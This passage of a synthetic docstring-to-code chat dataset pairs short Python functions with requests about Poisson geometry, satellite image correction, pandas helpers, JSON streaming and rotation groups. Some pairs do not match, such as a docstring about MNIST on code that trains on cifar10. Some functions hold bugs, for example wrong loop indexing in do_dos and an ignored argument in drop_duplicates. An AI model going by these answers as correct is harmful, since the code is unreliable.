"assistant", "content": "def jacobiator(self, bivector, latex=False):\n jac = self.coboundary_operator(bivector, bivector, latex=latex)\n if not isinstance(jac, dict):\n return jac\n return jac", "conversation_id": 894, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 895, "message_id": 0 }, { "role": "user", "content": "Calculates de Schouten-Nijenhuis bracket of a given bivector field with himself,\nthat is calculates [P,P]_SN.\n\nParameters.", "conversation_id": 895, "message_id": 1 }, { "role": "assistant", "content": "def is_poisson_bivector(self, bivector):\n jac = self.coboundary_operator(bivector, bivector)\n if not isinstance(jac, dict):\n return jac\n return False if bool(jac) else True", "conversation_id": 895, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 896, "message_id": 0 }, { "role": "user", "content": "Check if a vector field is a Poisson vector field of a given Poisson bivector field, that is calculate if\n[Z,P] = 0, where Z is vector_field variable and P is bivector variable.\n\nParameters.", "conversation_id": 896, "message_id": 1 }, { "role": "assistant", "content": "def is_poisson_vf(self, bivector, vector_field):\n sch_biv_vf = self.coboundary_operator(bivector, vector_field)\n if not isinstance(sch_biv_vf, dict):\n return sch_biv_vf\n return False if bool(sch_biv_vf) else True", "conversation_id": 896, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 897, "message_id": 0 }, { "role": "user", "content": "Check if the sum of two Poisson bivector fields P1 and P2 is a Poisson bivector field, that is\ncalculate if [P1,P2] = 0\n\nParameters.", "conversation_id": 897, "message_id": 1 }, { "role": "assistant", "content": "def is_poisson_pair(self, bivector_1, bivector_2):\n sch_biv1_biv2 = self.coboundary_operator(bivector_1, bivector_2)\n if not isinstance(sch_biv1_biv2, dict):\n return sch_biv1_biv2\n return False if bool(sch_biv1_biv2) else True", "conversation_id": 897, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 898, "message_id": 0 }, { "role": "user", "content": "scan event, It will be triggered when you scan the qrcode to login.\nAnd it will not be triggered when you have logined.", "conversation_id": 898, "message_id": 1 }, { "role": "assistant", "content": "async def on_scan(self, status: ScanStatus, qr_code: Optional[str] = None,\n data: Optional[str] = None): \n contact = self.Contact.load(self.contact_id)\n await contact.ready()\n print(f'user <{contact}> scan status: {status.name} , '\n f'qr_code: {qr_code}')", "conversation_id": 898, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 899, "message_id": 0 }, { "role": "user", "content": "Calculate the n-th discrete difference along the given axis..", "conversation_id": 899, "message_id": 1 }, { "role": "assistant", "content": "def diff(a, n=1, axis=-1):\n a = cupy.asanyarray(a)\n nd = a.ndim\n axis = normalize_axis_index(axis, nd)\n slice1 = [slice(None)] * nd\n slice2 = [slice(None)] * nd\n slice1[axis] = slice(1, None)\n slice2[axis] = slice(None, -1)\n slice1 = tuple(slice1)\n slice2 = tuple(slice2)\n op = cupy.not_equal if a.dtype == cupy.bool_ else cupy.subtract\n for _ in range(n):\n a = op(a[slice1], a[slice2])\n return a", "conversation_id": 899, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 900, "message_id": 0 }, { "role": "user", "content": "Perform total-variation denoising on n-dimensional images.\nParameters\n\nimage : ndarray of ints, uints or floats\nInput data to be denoised. `image` can be of any numeric type,\nbut it is cast into an ndarray of floats for the computation\nof the denoised image.\nweight : float, optional\nDenoising weight. The greater `weight`, the more denoising (at\nthe expense of fidelity to `input`).\neps : float, optional\nRelative difference of the value of the cost function that\ndetermines the stop criterion. The algorithm stops when.\n\n\n\nn_iter_max : int, optional\nMaximal number of iterations used for the optimization.\nmultichannel : bool, optional\nApply total-variation denoising separately for each channel. This\noption should be true for color images, otherwise the denoising is\nalso applied in the channels dimension.\n\nReturns\n\nout : ndarray\nDenoised image.\n\nNotes\n\nMake sure to set the multichannel parameter appropriately for color images.\n\n\n\nThe principle of total variation denoising is to minimize the\ntotal variation of the image, which can be roughly described as\nthe integral of the norm of the image gradient. Total variation\ndenoising tends to produce \"cartoon-like\" images, that is,\npiecewise-constant images.\n\nThis code is an implementation of the algorithm of Rudin, Fatemi and Osher\nthat was proposed by Chambolle in [1]_.\n\nReferences\n\n[1] A. Chambolle, An algorithm for total variation minimization and\napplications, Journal of Mathematical Imaging and Vision,\nSpringer, 2004, 20, 89-97.\n\nExamples\n\n2D example on astronaut image.\n\n\n\n3D example on synthetic data..", "conversation_id": 900, "message_id": 1 }, { "role": "assistant", "content": "def denoise_tv_chambolle(image, weight=0.1, eps=2.e-4, n_iter_max=200,\n multichannel=False):\n xp = get_array_module(image)\n im_type = image.dtype\n if not im_type.kind == 'f':\n raise NotImplementedError(\n \"please convert input to floating point type\")\n if multichannel:\n out = xp.zeros_like(image)\n for c in range(image.shape[-1]):\n out[..., c] = _denoise_tv_chambolle_nd(image[..., c], weight, eps,\n n_iter_max, xp=xp)\n else:\n out = _denoise_tv_chambolle_nd(image, weight, eps, n_iter_max, xp=xp)\n return out", "conversation_id": 900, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 901, "message_id": 0 }, { "role": "user", "content": "Estimate toa reflectance from radiometric data\nignoring atmospheric, topographic and BRDF effects\n\nParameters\n\nradata : ndarray shape (nbands, ny, nx)\nradiance data\nmtdFile : str\npath to IMD metadata file\nband_ids : sequence of int\nband IDs\n\nReturns\n\nndarray\nreflectance.", "conversation_id": 901, "message_id": 1 }, { "role": "assistant", "content": "def toa_reflectance(radata, mtdFile, band_ids):\n return reflectance.radiance_to_reflectance(radata, mtdFile, band_ids=band_ids)", "conversation_id": 901, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 902, "message_id": 0 }, { "role": "user", "content": "Calculate TOA reflectance\nParameters\n\ninfiles : list of str or str\npaths to Landsat 8 band files\nor URIs for members in TAR file\nor path to TAR file\noutfile : str\npath to save output to\nmtdfile : str\npath to metadata file\nbands : list of int\nbands to extract from TAR file\nor bands that the URIs correspond to.", "conversation_id": 902, "message_id": 1 }, { "role": "assistant", "content": "def toa_reflectance(infiles, outfile, mtdfile, bands):\n bandfiles = l8utils.get_bandfiles(infiles, bands)\n reflectance.calculate_landsat_reflectance(\n src_path=bandfiles,\n src_mtl=mtdfile,\n dst_path=outfile,\n rescale_factor=None,\n creation_options={},\n bands=bands,\n dst_dtype='float32',\n processes=1,\n pixel_sunangle=True)", "conversation_id": 902, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 903, "message_id": 0 }, { "role": "user", "content": "DOS correction using histogram with 2048 bins since WV2 has 11 bit radiometric resolution.", "conversation_id": 903, "message_id": 1 }, { "role": "assistant", "content": "def do_dos(data):\n nonzero = data != 0\n n = np.sum(nonzero)\n tiny_fraction = n - n * 0.999999\n nbands = data.shape[0]\n dosDN = np.zeros(nbands)\n for i in range(nbands):\n hist, edges = np.histogram(\n data[i], bins=2048, range=(1, 2048), density=False)\n for k in range(1, len(hist)):\n if hist[k] - hist[i - 1] > tiny_fraction:\n dosDN[i] = k - 1\n break\n return dosDN", "conversation_id": 903, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 904, "message_id": 0 }, { "role": "user", "content": "Adjacency correction\nParameters\n\n\n\nSources\n\nFollowing Ouaidrari & Vermote 1999: Operational Atmospheric Correction of Landsat TM Data.", "conversation_id": 904, "message_id": 1 }, { "role": "assistant", "content": "def adjacency_correction(refl, view_z, tau, T_dir, T_dif, pixel_size, radius=1.0):\n rolled = False\n if np.ndim(view_z) == 1:\n rolled = True\n refl = np.rollaxis(refl, 0, 3)\n u_v = np.cos(np.radians(view_z))\n T = 1 - ((1 - T_dif) + (1 - T_dir))\n mask = np.isnan(refl)\n refl[mask] = np.interp(np.flatnonzero(mask), np.flatnonzero(~mask), refl[~mask])\n sigma = radius / pixel_size\n adjRefl = scipy.ndimage.filters.gaussian_filter(refl, sigma)\n t_d = T_dif - np.exp(-tau / u_v)\n refl = (refl * T - adjRefl * t_d) / np.exp(-tau / u_v)\n refl[refl < 0.0] = 0.0\n refl[mask] = np.nan\n if rolled:\n return np.rollaxis(refl, 2, 0)\n else:\n return refl", "conversation_id": 904, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 905, "message_id": 0 }, { "role": "user", "content": "Apply radiometric correction to Pleadis image.", "conversation_id": 905, "message_id": 1 }, { "role": "assistant", "content": "def dn_to_radiance(dndata, mtdFile, band_ids):\n metadata = plparser.parse_metadata(mtdFile)\n gain_bias = metadata['calibration_values']\n gain, bias = (np.array(gain_bias[key])[band_ids] for key in ['gain', 'bias'])\n radata = np.zeros(dndata.shape, dtype='float32')\n with np.errstate(invalid='ignore'):\n for i in range(radata.shape[0]):\n radata[i, ...] = dndata[i] / gain[i] + bias[i]\n radata[radata < 0] = 0\n return radata", "conversation_id": 905, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 906, "message_id": 0 }, { "role": "user", "content": "Get target of sensors that have similar sets of bands.", "conversation_id": 906, "message_id": 1 }, { "role": "assistant", "content": "def sensor_group_bands(sensor):\n for target in ['WV', 'PHR', 'L7', 'L8', 'S2', 'WV_4band']:\n if sensor_is(sensor, target):\n return target\n raise ValueError('Unable to get sensor group for \\'%s\\'.'.format(sensor))", "conversation_id": 906, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 907, "message_id": 0 }, { "role": "user", "content": "Sets up Py6S instance and returns job for run_sixs_for_wavelength\nParameters\n\nrcurves_dict : dict\nsensor response curve parameters\nsixs_params : dict\nkeyword arguments for setup_sixs\n\nReturns\n\nlist of tuples (SixS, float, float, ndarray)\nSixS instance\nstart and env wavelengths\nsensor response curve.", "conversation_id": 907, "message_id": 1 }, { "role": "assistant", "content": "def generate_jobs(rcurves_dict, sixs_params):\n mysixs = setup_sixs(**sixs_params)\n jobs = []\n for rcurve in rcurves_dict['rcurves']:\n s = copy.deepcopy(mysixs)\n s.wavelength = Py6S.Wavelength(rcurves_dict['start_wv'], rcurves_dict['end_wv'], rcurve)\n jobs.append((s, ))\n return jobs", "conversation_id": 907, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 908, "message_id": 0 }, { "role": "user", "content": "Run sixs for a specific wavelength\nParameters\n\nargs : tuple\ninitialized SixS instance\n[additional args passed through]\n\nReturns\n\ndict\ncorrection parameters\nlist of float\nadjacency correction parameters\nlist\narguments passed through.", "conversation_id": 908, "message_id": 1 }, { "role": "assistant", "content": "def run_sixs_job(args):\n mysixs = args[0]\n moreargs = args[1:]\n mysixs.run()\n xdict = {\n 'xa': mysixs.outputs.coef_xa, \n 'xb': mysixs.outputs.coef_xb, \n 'xc': mysixs.outputs.coef_xc} \n adjcorr_params = [\n mysixs.geometry.view_z,\n mysixs.outputs.optical_depth_total.total,\n mysixs.outputs.transmittance_global_gas.upward,\n mysixs.outputs.transmittance_total_scattering.upward]\n return (xdict, adjcorr_params, moreargs)", "conversation_id": 908, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 909, "message_id": 0 }, { "role": "user", "content": "Compute TOA radiance from DigitalGlobe digital numbers\nParameters\n\ndndata : ndarray shape (nbands, ny, nx)\ndigital numbers data\nmtdFile : str\npath to IMD metadata file\nband_ids : sequence of int\nband IDs.", "conversation_id": 909, "message_id": 1 }, { "role": "assistant", "content": "def dn_to_radiance(dndata, mtdFile, band_ids):\n radata = radiance.dn_to_radiance(dndata, mtdFile, band_ids=band_ids)\n with np.errstate(invalid='ignore'):\n radata[radata < 0] = 0\n return radata", "conversation_id": 909, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 910, "message_id": 0 }, { "role": "user", "content": "Creates a new user and logs them in.", "conversation_id": 910, "message_id": 1 }, { "role": "assistant", "content": "def sign_up():\n form = SignUpForm()\n form['csrf_token'].data = request.cookies['csrf_token']\n err = ''\n data = request.get_json()\n if data['password'] != data['confirm_password']:\n err='Password and confirm password must match.'\n if form.validate_on_submit():\n if err == '':\n user = User(\n username=form.data['username'],\n email=form.data['email'],\n firstName=form.data['firstName'],\n lastName=form.data['lastName'],\n password=form.data['password'],\n profileImg=form.data['profileImg']\n )\n db.session.add(user)\n db.session.commit()\n login_user(user)\n return user.to_dict()\n errors = validation_errors_to_error_messages(form.errors)\n error_msgs = [txt.split(': ')[1]\n for txt in validation_errors_to_error_messages(form.errors)]\n if err:\n error_msgs.append(err)\n return {'errors': error_msgs}, 401", "conversation_id": 910, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 911, "message_id": 0 }, { "role": "user", "content": "Return length of string (number of word, seperated by Space)..", "conversation_id": 911, "message_id": 1 }, { "role": "assistant", "content": "def string_len_w(string):\n string_str = str(string)\n string_list = string_str.split()\n string_len = len(string_list)\n return string_len", "conversation_id": 911, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 912, "message_id": 0 }, { "role": "user", "content": "Making a list based on entry in one category and if missing adds entry of another Column.", "conversation_id": 912, "message_id": 1 }, { "role": "assistant", "content": "def helper_list():\n empty = []\n for i in range(df.shape[0]):\n if df[\"category_parent_id\"][i] != 0:\n empty.append(df[\"category_parent_id\"][i])\n else:\n empty.append(df[\"category_id\"][i])\n return empty", "conversation_id": 912, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 913, "message_id": 0 }, { "role": "user", "content": "based on key value in a column, column with value is added as a column and updated dataframe is returned..", "conversation_id": 913, "message_id": 1 }, { "role": "assistant", "content": "def add_parent_name(df, column_name1, column_name2, dictionary):\n df[column_name1] = df[column_name2].apply(lambda x: dictionary.get(x))\n return df", "conversation_id": 913, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 914, "message_id": 0 }, { "role": "user", "content": "Calculating difference between two timepoints and returns it in days.", "conversation_id": 914, "message_id": 1 }, { "role": "assistant", "content": "def duration(deadline, launched_at):\n duration = deadline - launched_at\n duration_complete = dt.timedelta(seconds=duration)\n return duration_complete.days", "conversation_id": 914, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 915, "message_id": 0 }, { "role": "user", "content": "Converts a Column based on given exchange rate, rounds it to two decimal spaces\nand returns updated dataframe, e.g..", "conversation_id": 915, "message_id": 1 }, { "role": "assistant", "content": "def usd_convert_goal(df, column_name, exchange_rate): \n df[column_name] = (df[column_name] * df[exchange_rate]).round(2)\n return df", "conversation_id": 915, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 916, "message_id": 0 }, { "role": "user", "content": "Creating dataframe and dropping all duplicates, based on a column_name\nand keep the last (\"newest\") duplicate.", "conversation_id": 916, "message_id": 1 }, { "role": "assistant", "content": "def drop_duplicates(df, column_name):\n df = df.drop_duplicates(subset=['id'], keep='last')\n return df", "conversation_id": 916, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 917, "message_id": 0 }, { "role": "user", "content": "Only create new csv if not already done.", "conversation_id": 917, "message_id": 1 }, { "role": "assistant", "content": "def read_files():\n if not Path(\"./data/Kickstarter_merged.csv\").exists():\n all_files = glob.glob(os.path.join(path, \"Kickstarter*.csv\"))\n df_from_each_file = (pd.read_csv(f, sep=',') for f in all_files)\n df_merged = pd.concat(df_from_each_file, ignore_index=True)\n df_merged.to_csv('./data/Kickstarter_merged.csv')\n return pd.read_csv('./data/Kickstarter_merged.csv', index_col=0)", "conversation_id": 917, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 918, "message_id": 0 }, { "role": "user", "content": "Almost identical to ``json.load``, except that it produces and iterator.\nWhich returns zero or more objects that can be decoded by JSON documents\nseparated by whitespace, or the given string or regex.\n\n``separator`` defaults to zero or more whitespace characters. You can\nprovide a different, but fixed width, separator if desired.\n\n\n\n\n\n``max_bufsize`` limit the size of the buffer used to hold unparsed\nparts of the document. Must be at least as large as the largest document\nin the stream, or a JSONDecodeError will be raised..", "conversation_id": 918, "message_id": 1 }, { "role": "assistant", "content": "def load(\n fp, *, cls=None, object_hook=None, parse_float=None,\n parse_int=None, parse_constant=None, object_pairs_hook=None,\n separator=None,\n bufsize=1048576, \n max_bufsize=float('inf'),\n stream_offset=0,\n **kw\n):\n if not hasattr(fp, 'encoding'):\n fp = io.TextIOWrapper(fp, encoding='utf8')\n cls, kw = _parse_kw(\n cls, object_hook, parse_float, parse_int, parse_constant, object_pairs_hook, kw\n )\n next_pos, pos = get_first_pos_and_next_pos_func(separator)\n return iter(DecodeStream(\n fp,\n cls(**kw),\n next_pos,\n pos,\n kw.get('parse_int'),\n kw.get('parse_float'),\n bufsize,\n max_bufsize,\n stream_offset,\n ))", "conversation_id": 918, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 919, "message_id": 0 }, { "role": "user", "content": "Almost identical to ``json.loads``, except that it produces and iterator.\nWhich returns zero or more objects that are decoded from JSON documents\nseparated by whitespace, or the given string or regex.\n\nAlways decodes bytes and bytearrays as UTF-8. Manually decode if this is\nnot desired.\n\n\n\n``separator`` defaults to zero or more whitespace characters. You can\nprovide a different, but fixed width, separator if desired..", "conversation_id": 919, "message_id": 1 }, { "role": "assistant", "content": "def loads(\n s, *, cls=None, object_hook=None, parse_float=None,\n parse_int=None, parse_constant=None, object_pairs_hook=None,\n pos=0,\n separator=None,\n **kw\n):\n if isinstance(s, str):\n if s.startswith('\\ufeff'):\n raise JSONDecodeError(\"Unexpected UTF-8 BOM (decode using utf-8-sig)\",\n s, 0)\n else:\n if not isinstance(s, (bytes, bytearray)):\n raise TypeError(f'the JSON object must be str, bytes or bytearray, '\n f'not {s.__class__.__name__}')\n s = s.decode('utf8')\n cls, kw = _parse_kw(\n cls, object_hook, parse_float, parse_int, parse_constant, object_pairs_hook, kw\n )\n next_pos, pos = get_first_pos_and_next_pos_func(separator)\n return decode_stacked(s, cls(**kw), next_pos, pos)", "conversation_id": 919, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 920, "message_id": 0 }, { "role": "user", "content": "Read enough data from the stream until:\nthe start of the next object is found (return true)\nthe delimiter check fails (raise an error)\nthe stream is empty (return false).", "conversation_id": 920, "message_id": 1 }, { "role": "assistant", "content": "def next_pos(self):\n while True:\n new_pos = self.next_pos_helper(self.partial_doc, self.pos)\n if new_pos is None:\n if self._try_read(''):\n continue\n return False\n else:\n self.pos = new_pos\n return True", "conversation_id": 920, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 921, "message_id": 0 }, { "role": "user", "content": "Reads new data, and adds to any unparsed data.\nReturns true if new data was read.", "conversation_id": 921, "message_id": 1 }, { "role": "assistant", "content": "def _try_read(self, remaining_buffer):\n if len(remaining_buffer) + self.bufsize > self.max_bufsize:\n to_read = self.max_bufsize - len(remaining_buffer)\n if to_read <= 0:\n raise ValueError('max buffer size exceeded')\n else:\n to_read = self.bufsize\n new = self.stream.read(to_read)\n self.stream_offset += len(self.partial_doc) - len(remaining_buffer)\n self.partial_doc = remaining_buffer + new\n self.pos = 0\n return bool(new)", "conversation_id": 921, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 922, "message_id": 0 }, { "role": "user", "content": "Trains a model on MNIST and evaluates its performance on MNIST, Flip-MNIST and 90Rot-MNIST..", "conversation_id": 922, "message_id": 1 }, { "role": "assistant", "content": "def train(config=None):\n with wandb.init(config=config, project=\"cheblienet\"):\n config = wandb.config\n wandb.log({\"dataset\": \"cifar10\"})\n wandb.log(vars(args))\n device = torch.device(\"cuda\" if torch.cuda.is_available() and args.cuda else \"cpu\")\n if args.pool:\n if args.anisotropic:\n graph_lvl0 = SE2GEGraph(\n [8, 8, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_0),\n path_to_graph=args.path_to_graph,\n )\n graph_lvl1 = SE2GEGraph(\n [16, 16, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_1),\n path_to_graph=args.path_to_graph,\n )\n else:\n graph_lvl0 = R2GEGraph(\n [8, 8, 1],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_0),\n path_to_graph=args.path_to_graph,\n )\n graph_lvl1 = R2GEGraph(\n [16, 16, 1],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_1),\n path_to_graph=args.path_to_graph,\n )\n if args.anisotropic:\n graph_lvl2 = SE2GEGraph(\n [32, 32, config.ntheta],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_2),\n path_to_graph=args.path_to_graph,\n )\n else:\n graph_lvl2 = R2GEGraph(\n [32, 32, 1],\n K=config.K,\n sigmas=(1.0, config.eps, config.xi_2),\n path_to_graph=args.path_to_graph,\n )\n model = WideResSE2GEChebNet(\n in_channels=3,\n out_channels=10,\n kernel_size=config.kernel_size,\n graph_lvl0=graph_lvl0 if args.pool else graph_lvl2,\n graph_lvl1=graph_lvl1 if args.pool else None,\n graph_lvl2=graph_lvl2 if args.pool else None,\n res_depth=args.res_depth,\n widen_factor=args.widen_factor,\n reduction=args.reduction if args.pool else None,\n ).to(device)\n wandb.log({\"capacity\": capacity(model)})\n optimizer = Adam(model.parameters(), lr=args.lr)\n train_loader, _ = get_train_val_loaders(\n \"cifar10\",\n num_layers=config.ntheta,\n batch_size=args.batch_size,\n val_ratio=0.0,\n path_to_data=args.path_to_data,\n )\n (classic_test_loader, rotated_test_loader, flipped_test_loader,) = get_equiv_test_loaders(\n \"cifar10\", num_layers=config.ntheta, batch_size=args.batch_size, path_to_data=args.path_to_data\n )\n trainer = create_supervised_trainer(\n graph=graph_lvl2,\n model=model,\n optimizer=optimizer,\n loss_fn=nll_loss,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Training\").attach(trainer)\n classic_metrics = {\"classic_test_accuracy\": Accuracy(), \"classic_test_loss\": Loss(nll_loss)}\n rotated_metrics = {\"rotated_test_accuracy\": Accuracy(), \"rotated_test_loss\": Loss(nll_loss)}\n flipped_metrics = {\"flipped_test_accuracy\": Accuracy(), \"flipped_test_loss\": Loss(nll_loss)}\n classic_evaluator = create_supervised_evaluator(\n graph=graph_lvl2,\n model=model,\n metrics=classic_metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(classic_evaluator)\n rotated_evaluator = create_supervised_evaluator(\n graph=graph_lvl2,\n model=model,\n metrics=rotated_metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(rotated_evaluator)\n flipped_evaluator = create_supervised_evaluator(\n graph=graph_lvl2,\n model=model,\n metrics=flipped_metrics,\n device=device,\n prepare_batch=prepare_batch,\n )\n ProgressBar(persist=False, desc=\"Evaluation\").attach(flipped_evaluator)\n trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, classic_evaluator, classic_test_loader)\n trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, rotated_evaluator, rotated_test_loader)\n trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, flipped_evaluator, flipped_test_loader)\n trainer.run(train_loader, max_epochs=args.max_epochs)", "conversation_id": 922, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 923, "message_id": 0 }, { "role": "user", "content": "Extra representation of the Chebyschev convolutional layer..", "conversation_id": 923, "message_id": 1 }, { "role": "assistant", "content": "def extra_repr(self):\n s = \"in_channels={in_channels}, out_channels={out_channels}, kernel_size={kernel_size}\"\n if self.bias is None:\n s += \", bias=False\"\n else:\n s += \", bias=True\"\n return s.format(**self.__dict__)", "conversation_id": 923, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 924, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor corresponding to matrix formulation of the given input tensors representing\nSO(3) group elements..", "conversation_id": 924, "message_id": 1 }, { "role": "assistant", "content": "def so3_matrix(alpha, beta, gamma, device=None):\n R_alpha_z = rotation_matrix(alpha, \"z\", device)\n R_beta_y = rotation_matrix(beta, \"y\", device)\n R_gamma_z = rotation_matrix(gamma, \"z\", device)\n return R_gamma_z @ R_beta_y @ R_alpha_z", "conversation_id": 924, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 925, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor corresponding to the inverse of the group elements in matrix formulation..", "conversation_id": 925, "message_id": 1 }, { "role": "assistant", "content": "def s2_inverse(G):\n return torch.transpose(G, -1, -2)", "conversation_id": 925, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 926, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor corresponding to the inverse of the group elements in matrix formulation..", "conversation_id": 926, "message_id": 1 }, { "role": "assistant", "content": "def so3_inverse(G):\n return torch.transpose(G, -1, -2)", "conversation_id": 926, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 927, "message_id": 0 }, { "role": "user", "content": "Return new tensors corresponding to alpha, beta and gamma attributes of the group elements specified by the\nS2 group elements in matrix formulation..", "conversation_id": 927, "message_id": 1 }, { "role": "assistant", "content": "def s2_element(G):\n gamma = torch.atan2(G[..., 1, 0], G[..., 0, 0])\n beta = torch.acos(G[..., 2, 2])\n return beta, gamma", "conversation_id": 927, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 928, "message_id": 0 }, { "role": "user", "content": "Return new tensors corresponding to alpha, beta and gamma attributes of the group elements specified by the\nso3 group elements in matrix formulation..", "conversation_id": 928, "message_id": 1 }, { "role": "assistant", "content": "def so3_element(G):\n gamma = torch.atan2(G[..., 1, 2], G[..., 0, 2])\n sin = torch.sin(gamma)\n cos = torch.cos(gamma)\n beta = torch.atan2(cos * G[..., 0, 2] + sin * G[..., 1, 2], G[..., 2, 2])\n alpha = torch.atan2(-sin * G[..., 0, 0] + cos * G[..., 1, 0], -sin * G[..., 0, 1] + cos * G[..., 1, 1])\n return alpha, beta, gamma", "conversation_id": 928, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 929, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor containing the riemannnian logarithm of the group elements in matrix formulation..", "conversation_id": 929, "message_id": 1 }, { "role": "assistant", "content": "def s2_log(G):\n beta, gamma = s2_element(G)\n G = so3_matrix(-gamma, beta, gamma)\n theta = torch.acos(((G[..., 0, 0] + G[..., 1, 1] + G[..., 2, 2]) - 1) / 2)\n c1 = 0.5 * theta / torch.sin(theta) * (G[..., 2, 1] - G[..., 1, 2])\n c2 = 0.5 * theta / torch.sin(theta) * (G[..., 0, 2] - G[..., 2, 0])\n c3 = torch.zeros_like(c1)\n mask = theta == 0.0\n c1[mask] = 0.5 * G[mask, 2, 1] - G[mask, 1, 2]\n c2[mask] = 0.5 * G[mask, 0, 2] - G[mask, 2, 0]\n mask = theta == math.pi\n c1[mask] = math.pi\n c2[mask] = 0.0\n c = torch.stack((c1, c2, c3), dim=-1).unsqueeze(2)\n return c", "conversation_id": 929, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 930, "message_id": 0 }, { "role": "user", "content": "Returns a new tensor containing the riemannnian logarithm of the group elements in matrix formulation..", "conversation_id": 930, "message_id": 1 }, { "role": "assistant", "content": "def so3_log(G):\n theta = torch.acos(((G[..., 0, 0] + G[..., 1, 1] + G[..., 2, 2]) - 1) / 2)\n c1 = 0.5 * theta / torch.sin(theta) * (G[..., 2, 1] - G[..., 1, 2])\n c2 = 0.5 * theta / torch.sin(theta) * (G[..., 0, 2] - G[..., 2, 0])\n c3 = 0.5 * theta / torch.sin(theta) * (G[..., 1, 0] - G[..., 0, 1])\n mask = theta == 0.0\n c1[mask] = 0.5 * G[mask, 2, 1] - G[mask, 1, 2]\n c2[mask] = 0.5 * G[mask, 0, 2] - G[mask, 2, 0]\n c3[mask] = 0.5 * G[mask, 1, 0] - G[mask, 0, 1]\n mask = theta == math.pi\n c1[mask] = math.pi\n c2[mask] = 0.0\n c3[mask] = 0.0\n c = torch.stack((c1, c2, c3), dim=-1).unsqueeze(2)\n return c", "conversation_id": 930, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 931, 